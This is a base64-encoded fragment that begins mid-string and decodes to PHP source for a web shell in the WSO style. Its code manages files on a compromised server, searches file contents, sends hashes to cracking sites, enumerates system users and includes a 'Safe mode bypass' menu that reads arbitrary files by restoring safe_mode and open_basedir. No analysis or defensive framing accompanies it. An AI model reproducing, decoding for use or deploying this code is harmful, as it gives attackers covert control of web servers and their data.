WNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOw0KCSRkaXJDb250ZW50ID0gaGFyZFNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7CWVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7aGFyZEZvb3RlcigpOyByZXR1cm47IH0NCglnbG9iYWwgJHNvcnQ7DQoJJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCWlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKQ0KCQkJJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsNCgl9DQplY2hvICI8c2NyaXB0Pg0KCWZ1bmN0aW9uIHNhKCkgew0KCQlmb3IoaT0wO2k8ZC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKQ0KCQkJaWYoZC5maWxlcy5lbGVtZW50c1tpXS50eXBlID09ICdjaGVja2JveCcpDQoJCQkJZC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOw0KCX0NCjwvc2NyaXB0Pg0KPHRhYmxlIHdpZHRoPScxMDAlJyBjbGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz4NCjxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGlucHV0IHR5cGU9Y2hlY2tib3ggb25jbGljaz0nc2EoKScgY2xhc3M9Y2hrYng+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbmFtZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk5hbWU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfc2l6ZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPlNpemU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbW9kaWZ5XyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TW9kaWZ5PC9hPjwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfcGVybXNfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5QZXJtaXNzaW9uczwvYT48L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7DQoJJGRpcnMgPSAkZmlsZXMgPSBhcnJheSgpOw0KCSRuID0gY291bnQoJGRpckNvbnRlbnQpOw0KCWZvcigkaT0wOyRpPCRuOyRpKyspIHsNCgkJJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7DQoJCSRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOw0KCQkkdG1wID0gYXJyYXkoJ25hbWUnID0+ICRkaXJDb250ZW50WyRpXSwNCgkJCQkJICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLA0KCQkJCQkgJ21vZGlmeScgPT4gZGF0ZSgnWS1tLWQgSDppOnMnLCBAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpLA0KCQkJCQkgJ3Blcm1zJyA9PiB2aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pLA0KCQkJCQkgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdvd25lcicgPT4gJG93WyduYW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLA0KCQkJCQkgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkNCgkJCQkJKTsNCgkJaWYoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkNCgkJCSRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOw0KCQllbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkNCgkJCSRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnLCAnbGluaycgPT4gcmVhZGxpbmsoJHRtcFsncGF0aCddKSkpOw0KCQllbHNlaWYoQGlzX2RpcigkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pJiYoJGRpckNvbnRlbnRbJGldICE9ICIuIikpDQoJCQkkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7DQoJfQ0KCSRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsNCglmdW5jdGlvbiBjbXAoJGEsICRiKSB7DQoJCWlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQ0KCQkJcmV0dXJuIHN0cmNtcChzdHJ0b2xvd2VyKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dKSwgc3RydG9sb3dlcigkYlskR0xPQkFMU1snc29ydCddWzBdXSkpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOw0KCQllbHNlDQoJCQlyZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOw0KCX0NCgl1c29ydCgkZmlsZXMsICJjbXAiKTsNCgl1c29ydCgkZGlycywgImNtcCIpOw0KCSRmaWxlcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkZmlsZXMpOw0KCSRsID0gMDsNCglmb3JlYWNoKCRmaWxlcyBhcyAkZikgew0KCQllY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT0iZltdIiB2YWx1ZT0iJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJyIgY2xhc3M9Y2hrYng+PC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9IicuKCgkZlsndHlwZSddPT0nZmlsZScpPydnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndmlld1wnKSI+Jy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pOidnKFwnRmlsZXNNYW5cJyxcJycuJGZbJ3BhdGgnXS4nXCcpOyIgJyAuIChlbXB0eSAoJGZbJ2xpbmsnXSkgPyAnJyA6ICJ0aXRsZT0neyRmWydsaW5rJ119JyIpIC4gJz48Yj5bICcgLiBodG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pIC4gJyBdPC9iPicpLic8L2E+PC90ZD48dGQ+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/dmlld1NpemUoJGZbJ3NpemUnXSk6JGZbJ3R5cGUnXSkuJzwvdGQ+PHRkPicuJGZbJ21vZGlmeSddLic8L3RkPjx0ZD4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJyxcJ2NobW9kXCcpIj4nLiRmWydwZXJtcyddDQoJCQkuJzwvdGQ+PHRkPjxhIGNsYXNzPSJ0b29sdGlwIiBkYXRhLXRvb2x0aXA9IlJlbmFtZSIgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3JlbmFtZVwnKSI+UjwvYT4gPGEgY2xhc3M9InRvb2x0aXAiIGRhdGEtdG9vbHRpcD0iVG91Y2giIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd0b3VjaFwnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGNsYXNzPSJ0b29sdGlwIiBkYXRhLXRvb2x0aXA9IkZyYW1lIiBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZnJhbWVcJykiPkY8L2E+IDxhIGNsYXNzPSJ0b29sdGlwIiBkYXRhLXRvb2x0aXA9IkVkaXQiIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdlZGl0XCcpIj5FPC9hPiA8YSBjbGFzcz0idG9vbHRpcCIgZGF0YS10b29sdGlwPSJEb3dubG9hZCIgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsNCgkJJGwgPSAkbD8wOjE7DQoJfQ0KCWVjaG8gIjx0ciBpZD1mYWs+PHRkIGNvbHNwYW49Nz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1uZSB2YWx1ZT0nJz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01hbic+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuIic+DQoJPGxhYmVsPjxzZWxlY3QgbmFtZT0ncDEnPiI7DQoJaWYoIWVtcHR5KCRfQ09PS0lFWydhY3QnXSkgJiYgQGNvdW50KCRfQ09PS0lFWydmJ10pKQ0KICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSdwYXN0ZSc+4oazIFBhc3RlPC9vcHRpb24+IjsNCgllY2hvICI8b3B0aW9uIHZhbHVlPSdjb3B5Jz5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbW92ZSc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2RlbGV0ZSc+RGVsZXRlPC9vcHRpb24+IjsNCiAgICBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkNCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nemlwJz4rIHppcDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3VuemlwJz4tIHppcDwvb3B0aW9uPiI7DQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ndGFyJz4rIHRhci5nejwvb3B0aW9uPiI7DQogICAgZWNobyAiPC9zZWxlY3Q+PC9sYWJlbD4iOw0KICAgIGlmKCFlbXB0eSgkX0NPT0tJRVsnYWN0J10pICYmIEBjb3VudCgkX0NPT0tJRVsnZiddKSAmJiAoKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJykgfHwgKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykpKQ0KICAgICAgICBlY2hvICImbmJzcDtmaWxlIG5hbWU6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1wMiB2YWx1ZT0naGFyZF8iIC4gZGF0ZSgiWW1kX0hpcyIpIC4gIi4iIC4gKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJz8nemlwJzondGFyLmd6JykgLiAiJz4mbmJzcDsiOw0KICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdzdWJtaXQnIHN0eWxlPSdtYXJnaW4tbGVmdDoxMHB4Jz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9kaXY+IjsNCgloYXJkRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpIHsNCglpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fQ0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7ZnVuY3Rpb24gYmluaGV4KCRwKSB7cmV0dXJuIGRlY2hleChiaW5kZWMoJHApKTt9fQ0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScpKSB7ZnVuY3Rpb24gaGV4MmFzY2lpKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJMZW4oJHApOyRpKz0yKXskci49Y2hyKGhleGRlYygkcFskaV0uJHBbJGkrMV0pKTt9cmV0dXJuICRyO319DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49IHNwcmludGYoJyUwMlgnLG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0NCglpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQ0KCSRzdHJpbmdUb29scyA9IGFycmF5KA0KCQknQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbmNvZGUnLA0KCQknQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUnLA0KCQknVXJsIGVuY29kZScgPT4gJ3VybGVuY29kZScsDQoJCSdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywNCgkJJ0Z1bGwgdXJsZW5jb2RlJyA9PiAnZnVsbF91cmxlbmNvZGUnLA0KCQknbWQ1IGhhc2gnID0+ICdtZDUnLA0KCQknc2hhMSBoYXNoJyA9PiAnc2hhMScsDQoJCSdjcnlwdCcgPT4gJ2NyeXB0JywNCgkJJ0NSQzMyJyA9PiAnY3JjMzInLA0KCQknQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWkyaGV4JywNCgkJJ0hFWCB0byBBU0NJSScgPT4gJ2hleDJhc2NpaScsDQoJCSdIRVggdG8gREVDJyA9PiAnaGV4ZGVjJywNCgkJJ0hFWCB0byBCSU4nID0+ICdoZXgyYmluJywNCgkJJ0RFQyB0byBIRVgnID0+ICdkZWNoZXgnLA0KCQknREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsDQoJCSdCSU4gdG8gSEVYJyA9PiAnYmluaGV4JywNCgkJJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLA0KCQknU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywNCgkJJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsDQoJCSdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsDQoJCSdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywNCgkpOw0KCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KCQlwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCB0cnVlKTsNCgkJb2Jfc3RhcnQoKTsNCgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKQ0KCQkJZWNobyAkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKTsNCgkJJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7DQoJfQ0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpDQoJCXByb3RvdHlwZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIDApOw0KCWhhcmRIZWFkZXIoKTsNCgllY2hvICc8aDE+U3RyaW5nIGNvbnZlcnNpb25zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCgllY2hvICI8Zm9ybSBuYW1lPSd0b29sc0Zvcm0nIG9uU3VibWl0PSdpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9IHJldHVybiBmYWxzZTsnPjxsYWJlbD48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7DQoJZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpDQoJCWVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsNCgkJZWNobyAiPC9zZWxlY3Q+PC9sYWJlbD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nc3VibWl0Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuKGVtcHR5KCRfUE9TVFsncDEnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKWVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7DQoJfQ0KCWVjaG8iPC9wcmU+PC9kaXY+PGJyPjxoMT5TZWFyY2ggZmlsZXM6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJCTxmb3JtIG9uc3VibWl0PVwiZyhudWxsLHRoaXMuY3dkLnZhbHVlLG51bGwsdGhpcy50ZXh0LnZhbHVlLHRoaXMuZmlsZW5hbWUudmFsdWUpO3JldHVybiBmYWxzZTtcIj48dGFibGUgY2VsbHBhZGRpbmc9JzEnIGNlbGxzcGFjaW5nPScwJyB3aWR0aD0nNTAlJz4NCgkJCTx0cj48dGQgd2lkdGg9JzElJz5UZXh0OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0ZXh0JyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5QYXRoOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdjd2QnIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPk5hbWU6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGVuYW1lJyB2YWx1ZT0nKicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J3N1Ym1pdCc+PC90ZD48L3RyPg0KCQkJPC90YWJsZT48L2Zvcm0+IjsNCglmdW5jdGlvbiBoYXJkUmVjdXJzaXZlR2xvYigkcGF0aCkgew0KCQlpZihzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpDQoJCQkkcGF0aC49Jy8nOw0KCQkkcGF0aHMgPSBAYXJyYXlfdW5pcXVlKEBhcnJheV9tZXJnZShAZ2xvYigkcGF0aC4kX1BPU1RbJ3AzJ10pLCBAZ2xvYigkcGF0aC4nKicsIEdMT0JfT05MWURJUikpKTsNCgkJaWYoaXNfYXJyYXkoJHBhdGhzKSYmQGNvdW50KCRwYXRocykpIHsNCgkJCWZvcmVhY2goJHBhdGhzIGFzICTilp8pIHsNCgkJCQlpZihAaXNfZGlyKCTilp8pKXsNCgkJCQkJaWYoJHBhdGghPSTilp8pDQoJCQkJCQloYXJkUmVjdXJzaXZlR2xvYigk4pafKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlpZihlbXB0eSgkX1BPU1RbJ3AyJ10pIHx8IEBzdHJwb3MoZmlsZV9nZXRfY29udGVudHMoJOKWnyksICRfUE9TVFsncDInXSkhPT1mYWxzZSkNCgkJCQkJCWVjaG8gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsbnVsbCxcIiIudXJsZW5jb2RlKCTilp8pLiJcIiwgXCJ2aWV3XCIsXCJcIiknPiIuaHRtbHNwZWNpYWxjaGFycygk4pafKS4iPC9hPjxicj4iOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCglpZihAJF9QT1NUWydwMyddKQ0KCQloYXJkUmVjdXJzaXZlR2xvYigkX1BPU1RbJ2MnXSk7DQoJZWNobyAiPC9kaXY+PGJyPjxoMT5TZWFyY2ggZm9yIGhhc2g6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJCTxmb3JtIG1ldGhvZD0ncG9zdCcgdGFyZ2V0PSdfYmxhbmsnIG5hbWU9J2hmJz4NCgkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6MzMwcHg7Jz48YnI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhY3QnIHZhbHVlPSdmaW5kJy8+PGJyPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J21kNS5yZWRub2l6ZS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9tZDUucmVkbm9pemUuY29tLz9xPScrZG9jdW1lbnQuaGYuaGFzaC52YWx1ZSsnJnM9bWQ1Jztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPg0KCQkJPGlucHV0IHN0eWxlPSdtYXJnaW4tbGVmdDogMjBweDsnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J21kNWRlY3J5cHRlci5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHBzOi8vd3d3Lm1kNWRlY3J5cHRlci5jb20vJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJPC9mb3JtPjwvZGl2PiI7DQoJaGFyZEZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWN0aW9uU2FmZU1vZGUoKSB7DQoJJHRlbXA9Jyc7DQoJb2Jfc3RhcnQoKTsNCglzd2l0Y2goJF9QT1NUWydwMSddKSB7DQoJCWNhc2UgMToNCgkJCSR0ZW1wPUB0ZW1wbmFtKCR0ZXN0LCAnY3gnKTsNCgkJCWlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3AyJ10sICR0ZW1wKSl7DQoJCQkJZWNobyBAZmlsZV9nZXRfY29udGVudHMoJHRlbXApOw0KCQkJCXVubGluaygkdGVtcCk7DQoJCQl9IGVsc2UNCgkJCQllY2hvICdTb3JyeS4uLiBDYW5cJ3Qgb3BlbiBmaWxlJzsNCgkJCWJyZWFrOw0KCQljYXNlIDI6DQoJCQkkZmlsZXMgPSBnbG9iKCRfUE9TVFsncDInXS4nKicpOw0KCQkJaWYoIGlzX2FycmF5KCRmaWxlcykgKQ0KCQkJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZW5hbWUpDQoJCQkJCWVjaG8gJGZpbGVuYW1lLiJcbiI7DQoJCQlicmVhazsNCgkJY2FzZSAzOg0KCQkJJGNoID0gY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3AyJ10uIlx4MDAiLlNFTEZfUEFUSCk7DQoJCQljdXJsX2V4ZWMoJGNoKTsNCgkJCWJyZWFrOw0KCQljYXNlIDQ6DQoJCQlpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7DQoJCQlpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQoJCQlpbmNsdWRlKCRfUE9TVFsncDInXSk7DQoJCQlicmVhazsNCgkJY2FzZSA1Og0KCQkJZm9yKDskX1BPU1RbJ3AyJ10gPD0gJF9QT1NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7DQoJCQkJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkX1BPU1RbJ3AyJ10pOw0KCQkJCWlmICgkdWlkKQ0KCQkJCQllY2hvIGpvaW4oJzonLCR1aWQpLiJcbiI7DQoJCQl9DQoJCQlicmVhazsNCgkJY2FzZSA2Og0KCQkJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaW1hcF9vcGVuJykpYnJlYWs7DQoJCQkkc3RyZWFtID0gaW1hcF9vcGVuKCRfUE9TVFsncDInXSwgIiIsICIiKTsNCgkJCWlmICgkc3RyZWFtID09IEZBTFNFKQ0KCQkJCWJyZWFrOw0KCQkJZWNobyBpbWFwX2JvZHkoJHN0cmVhbSwgMSk7DQoJCQlpbWFwX2Nsb3NlKCRzdHJlYW0pOw0KCQkJYnJlYWs7DQoJfQ0KCSR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7DQoJaGFyZEhlYWRlcigpOw0KCWVjaG8gJzxoMT5TYWZlIG1vZGUgYnlwYXNzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCgllY2hvICc8c3Bhbj5Db3B5IChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjEiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI+PC9mb3JtPjxicj48c3Bhbj5HbG9iIChsaXN0IGRpcik8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+PGJyPjxzcGFuPkN1cmwgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMyIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+PGJyPjxzcGFuPkluaV9yZXN0b3JlIChyZWFkIGZpbGUpPC9zcGFuPjxmb3Jt